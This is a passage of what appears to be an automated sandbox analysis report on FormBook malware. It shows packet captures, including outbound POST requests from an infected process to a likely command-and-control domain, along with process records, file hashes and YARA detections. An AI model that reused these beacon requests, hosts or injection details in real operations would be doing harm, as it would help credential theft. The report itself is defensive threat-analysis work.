68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 0d 0a 20 20 20 20 20 20 20 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c [TRUNCATED] Data Ascii: 2000<html dir="ltr" lang="zh"> <head> <meta charset="utf-8"> <meta name="color-scheme" content="light dark"> <meta name="theme-color" content="#fff"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <title></title> <style>/* Copyright 2017 The Chromium Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ a { color: var(--link-color); } body { --background-color: #fff; --error-code-color: var(--google-gray-700); --google-blue-100: rgb(210, 227, 252); --google-blue-300: rgb(138, 180, 248); --google-blue-600: rgb(26, 115, 232); --google-blue-700: rgb(25, 103, 210); --google-gray-100: rgb(241, 243, 244); --google-gray-300: rgb(218, 220, 224); --google-gray-500: rgb(154, 160, 166); --google-gray-50: rgb(248, 249, 250); --google-gray-600: rgb(128, 134, 139); --google-gray-700: rgb(95, 99, 1 [TRUNCATED]
Jul 1, 2024 19:27:01.953845024 CEST	1236	IN	Data Raw: 2d 67 72 61 79 2d 38 30 30 3a 20 72 67 62 28 36 30 2c 20 36 34 2c 20 36 37 29 3b 20 2d 2d 67 6f 6f 67 6c 65 2d 67 72 61 79 2d 39 30 30 3a 20 72 67 62 28 33 32 2c 20 33 33 2c 20 33 36 29 3b 20 2d 2d 68 65 61 64 69 6e 67 2d 63 6f 6c 6f 72 3a 20 76 Data Ascii: -gray-800: rgb(60, 64, 67); --google-gray-900: rgb(32, 33, 36); --heading-color: var(--google-gray-900); --link-color: rgb(88, 88, 88); --popup-container-background-color: rgba(0,0,0,.65); --primary-button-fill-color-active: var(--google-blue-
Jul 1, 2024 19:27:01.953860044 CEST	448	IN	Data Raw: 62 6f 64 79 20 7b 20 2d 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 67 6f 6f 67 6c 65 2d 67 72 61 79 2d 39 30 30 29 3b 20 2d 2d 65 72 72 6f 72 2d 63 6f 64 65 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 67 6f 6f 67 6c Data Ascii: body { --background-color: var(--google-gray-900); --error-code-color: var(--google-gray-500); --heading-color: var(--google-gray-500); --link-color: var(--google-blue-300); --primary-button-fill-color-active: rgb(129, 162, 208); --primary-but
Jul 1, 2024 19:27:01.953871965 CEST	1236	IN	Data Raw: 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 66 69 6c 6c 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 67 6f 6f 67 6c 65 2d 67 72 61 79 2d 39 30 30 29 3b 20 2d 2d 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 66 69 6c 6c 2d 63 Data Ascii: condary-button-fill-color: var(--google-gray-900); --secondary-button-hover-fill-color: rgb(48, 51, 57); --secondary-button-text-color: var(--google-blue-300); --small-link-color: var(--google-blue-300); --text-color: var(--google-gray-500); }
Jul 1, 2024 19:27:01.953880072 CEST	1236	IN	Data Raw: 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 6d 6f 6e 6f 73 70 61 63 65 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 32 65 6d 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 2e 35 65 6d 3b 20 7d 20 2e 64 65 62 75 Data Ascii: splay: block; font-family: monospace; font-size: 1.2em; margin-top: 0.5em; } .debugging-title { font-weight: bold; } #details { margin: 0 0 50px; } #details p:not(:first-of-type) { margin-top: 20px; } .secondary-button:active { border-color: w
Jul 1, 2024 19:27:01.953891993 CEST	1236	IN	Data Raw: 20 33 32 70 78 3b 20 7d 20 23 65 78 74 65 6e 64 65 64 2d 72 65 70 6f 72 74 69 6e 67 2d 6f 70 74 2d 69 6e 20 6c 61 62 65 6c 20 7b 20 64 69 73 70 6c 61 79 3a 20 67 72 69 64 3b 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 63 6f 6c 75 6d 6e 73 3a 20 Data Ascii: 32px; } #extended-reporting-opt-in label { display: grid; grid-template-columns: 1.8em 1fr; position: relative; } #enhanced-protection-message { border-radius: 4px; font-size: 1em; margin-top: 32px; padding: 10px 5px; } #enhanced-protection-m
Jul 1, 2024 19:27:01.953908920 CEST	1236	IN	Data Raw: 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 63 61 6c 63 28 2e 33 65 6d 20 2b 20 76 61 72 28 2d 2d 70 61 64 64 69 6e 67 29 29 3b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 2d 34 35 64 65 67 29 3b 20 77 69 Data Ascii: osition: absolute; top: calc(.3em + var(--padding)); transform: rotate(-45deg); width: .5em; } input[type=checkbox]:checked ~ .checkbox::before { opacity: 1; } #recurrent-error-message { background: #ededed; border-radius: 4px; margin-bottom:
Jul 1, 2024 19:27:01.953921080 CEST	547	IN	Data Raw: 74 68 65 20 74 6f 70 20 63 6f 6e 74 65 6e 74 20 69 6e 20 69 74 73 20 6f 77 6e 20 73 63 72 6f 6c 6c 61 62 6c 65 20 61 72 65 61 2e 20 2a 2f 20 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 34 32 30 70 78 29 20 7b 20 2e 6e 61 76 2d 77 72 Data Ascii: the top content in its own scrollable area. / @media (max-width: 420px) { .nav-wrapper .secondary-button { border: 0; margin: 16px 0 0; margin-inline-end: 0; padding-bottom: 16px; padding-top: 16px; } } / Fixed nav. */ @media (min-width: 240
Jul 1, 2024 19:27:01.953931093 CEST	1236	IN	Data Raw: 32 30 30 30 0d 0a 32 34 70 78 3b 20 70 61 64 64 69 6e 67 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 34 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 72 69 67 68 74 3a 20 30 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 7a 2d Data Ascii: 200024px; padding-inline-start: 24px; position: fixed; right: 0; width: 100%; z-index: 2; } .interstitial-wrapper { max-width: 736px; } #details, #main-content { padding-bottom: 40px; } #details { padding-top: 5.5vh; } button.small-link { co
Jul 1, 2024 19:27:01.953943968 CEST	1236	IN	Data Raw: 29 3b 20 7d 20 2e 73 6d 61 6c 6c 2d 6c 69 6e 6b 20 7b 20 62 6f 72 64 65 72 3a 20 30 3b 20 7d 20 2e 73 75 67 67 65 73 74 65 64 2d 6c 65 66 74 20 3e 20 23 63 6f 6e 74 72 6f 6c 2d 62 75 74 74 6f 6e 73 2c 20 2e 73 75 67 67 65 73 74 65 64 2d 72 69 67 Data Ascii: ); } .small-link { border: 0; } .suggested-left > #control-buttons, .suggested-right > #control-buttons { float: none; margin: 0; } } @media (min-width: 421px) and (min-height: 500px) and (max-height: 560px) { .interstitial-wrapper { margin-to
Jul 1, 2024 19:27:01.960066080 CEST	1236	IN	Data Raw: 72 61 70 70 65 72 20 7b 20 66 6c 65 78 3a 20 30 20 31 20 61 75 74 6f 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 70 78 3b 20 6f 72 64 65 72 3a 20 31 3b 20 70 61 64 64 69 6e 67 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 20 70 61 64 64 69 6e 67 Data Ascii: rapper { flex: 0 1 auto; margin-top: 8px; order: 1; padding-inline-end: 0; padding-inline-start: 0; position: relative; width: 100%; } button, .nav-wrapper .secondary-button { padding: 16px 24px; } button.small-link { color: var(--google-blue-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	64497	84.32.84.32	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:27:07.334908962 CEST	737	OUT	POST /ynea/ HTTP/1.1 Host: www.xn--gotopia-bya.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 218 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.xn--gotopia-bya.com Referer: http://www.xn--gotopia-bya.com/ynea/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 4b 46 2b 44 30 55 63 48 53 4d 53 32 48 74 70 45 45 6f 56 62 63 46 64 4a 59 38 30 49 45 52 63 4f 74 34 41 44 52 74 59 44 50 4d 33 55 2b 56 70 65 73 6d 4c 44 6d 79 42 6e 4b 47 47 58 31 4a 77 66 42 6d 64 45 46 74 78 71 42 31 54 53 74 64 59 66 66 53 54 72 47 6f 56 5a 5a 46 32 74 4a 71 4f 55 48 67 50 4c 71 6f 34 4d 4e 37 63 4b 59 58 6e 4c 56 76 56 43 38 46 4a 45 47 79 50 56 71 64 67 37 32 46 33 61 46 64 49 73 6c 4c 76 47 52 38 31 58 69 74 70 6c 44 2f 56 53 73 2f 56 30 6c 6a 44 73 64 74 54 50 4e 2f 77 52 4c 4c 51 48 79 46 50 49 64 78 52 37 67 38 45 75 6a 44 31 46 62 4c 6c 76 6f 67 34 43 56 30 79 65 4e 53 54 4b 33 4f 68 44 53 77 3d 3d Data Ascii: FTP84=KF+D0UcHSMS2HtpEEoVbcFdJY80IERcOt4ADRtYDPM3U+VpesmLDmyBnKGGX1JwfBmdEFtxqB1TStdYffSTrGoVZZF2tJqOUHgPLqo4MN7cKYXnLVvVC8FJEGyPVqdg72F3aFdIslLvGR81XitplD/VSs/V0ljDsdtTPN/wRLLQHyFPIdxR7g8EujD1FbLlvog4CV0yeNSTK3OhDSw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	64498	84.32.84.32	80

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:27:11.695501089 CEST	757	OUT	POST /ynea/ HTTP/1.1 Host: www.xn--gotopia-bya.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 238 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.xn--gotopia-bya.com Referer: http://www.xn--gotopia-bya.com/ynea/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 4b 46 2b 44 30 55 63 48 53 4d 53 32 48 4e 5a 45 42 49 70 62 65 6c 64 57 47 73 30 49 54 42 63 4b 74 34 4d 44 52 73 4e 47 4d 2b 54 55 2b 78 74 65 76 6b 6a 44 6e 79 42 6e 43 6d 47 57 78 4a 77 71 42 6d 42 36 46 6f 4a 71 42 31 76 53 74 64 49 66 66 68 37 30 45 34 56 68 43 31 32 6a 45 4b 4f 55 48 67 50 4c 71 6f 38 6d 4e 37 45 4b 59 6e 58 4c 55 4f 56 42 2f 46 4a 46 4f 53 50 56 75 64 67 2f 32 46 33 38 46 66 39 48 6c 4e 6a 47 52 35 78 58 6a 2f 4e 71 5a 76 55 5a 78 76 55 77 6b 68 79 5a 54 39 57 30 48 73 77 71 4e 61 42 6a 36 54 53 71 48 54 64 58 2b 74 38 56 6e 42 52 7a 4d 74 34 61 71 68 38 61 59 57 47 2f 53 6c 32 67 36 63 41 48 45 41 49 34 4c 55 71 6a 68 39 48 34 42 32 4a 49 36 36 48 46 42 72 30 3d Data Ascii: FTP84=KF+D0UcHSMS2HNZEBIpbeldWGs0ITBcKt4MDRsNGM+TU+xtevkjDnyBnCmGWxJwqBmB6FoJqB1vStdIffh70E4VhC12jEKOUHgPLqo8mN7EKYnXLUOVB/FJFOSPVudg/2F38Ff9HlNjGR5xXj/NqZvUZxvUwkhyZT9W0HswqNaBj6TSqHTdX+t8VnBRzMt4aqh8aYWG/Sl2g6cAHEAI4LUqjh9H4B2JI66HFBr0=

Target ID:	0
Start time:	13:23:02
Start date:	01/07/2024
Path:	C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe"
Imagebase:	0x340000
File size:	686'080 bytes
MD5 hash:	677B2D2D3A54E0C1D8E416B276093FB3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	13:23:03
Start date:	01/07/2024
Path:	C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe"
Imagebase:	0x790000
File size:	686'080 bytes
MD5 hash:	677B2D2D3A54E0C1D8E416B276093FB3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.1431852540.0000000001110000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.1431852540.0000000001110000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.1431338720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.1431338720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.1433410329.00000000020C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.1433410329.00000000020C0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	13
Start time:	13:23:15
Start date:	01/07/2024
Path:	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe"
Imagebase:	0x550000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.3705085363.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.3705085363.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	14
Start time:	13:23:16
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\chkntfs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\chkntfs.exe"
Imagebase:	0x940000
File size:	19'968 bytes
MD5 hash:	A9B42ED1B14BB22EF07CCC8228697408
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3691864413.0000000000590000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.3691864413.0000000000590000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3705299437.0000000002C50000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.3705299437.0000000002C50000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3705534069.0000000004500000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.3705534069.0000000004500000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Target ID:	16
Start time:	15:04:45
Start date:	01/07/2024
Path:	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe"
Imagebase:	0x550000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.3708009401.0000000005850000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.3708009401.0000000005850000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	18
Start time:	15:04:57
Start date:	01/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	24
Start time:	15:07:23
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\aj34fjqh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\aj34fjqh.exe"
Imagebase:	0xd40000
File size:	698'880 bytes
MD5 hash:	A000A790579BE8EDD044A668469EA33E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Target ID:	25
Start time:	15:07:24
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\aj34fjqh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\aj34fjqh.exe"
Imagebase:	0xb30000
File size:	698'880 bytes
MD5 hash:	A000A790579BE8EDD044A668469EA33E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000019.00000002.3534960934.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000019.00000002.3534960934.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000019.00000002.3530426239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000019.00000002.3530426239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true